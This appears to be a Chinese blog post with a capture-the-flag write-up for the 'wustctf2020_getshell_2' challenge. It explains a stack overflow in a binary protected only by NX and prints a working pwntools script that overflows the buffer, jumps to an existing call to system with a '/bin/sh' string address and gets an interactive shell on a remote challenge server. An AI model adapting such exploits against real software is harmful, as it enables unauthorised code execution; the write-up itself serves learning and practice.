wustctf2020_getshell_2

很多题都是看了wp才会写的,这道题也不例外。。很多基础的知识无法明白,只能不断的写博客来帮助记忆

 

 

1、程序有栈溢出,保护只有nx保护,所以显然是栈溢出

2、最多溢出0xc个字节,所以不能调用plt因为plt需要返回值,但如果程序中有现成的call函数就可以不用返回值了,因为它会自己把下一条指令给压进去

from pwn import *

context.log_level='debug'
#p=process('./wustctf2020_getshell_2')
p=remote('node3.buuoj.cn',27451)
libc=ELF('./libc-2.23.so')
elf=ELF('wustctf2020_getshell_2')
sys_plt=0x080483E0
sh_addr = 0x08048670
p.sendline('p'*0x1c+p32(0x8048529)+p32(sh_addr))
#gdb.attach(p)

p.interactive()

加油!希望早点可以把基础巩固好

posted @ 2020-10-20 20:14  PYozo_free  阅读(461)  评论(0编辑  收藏  举报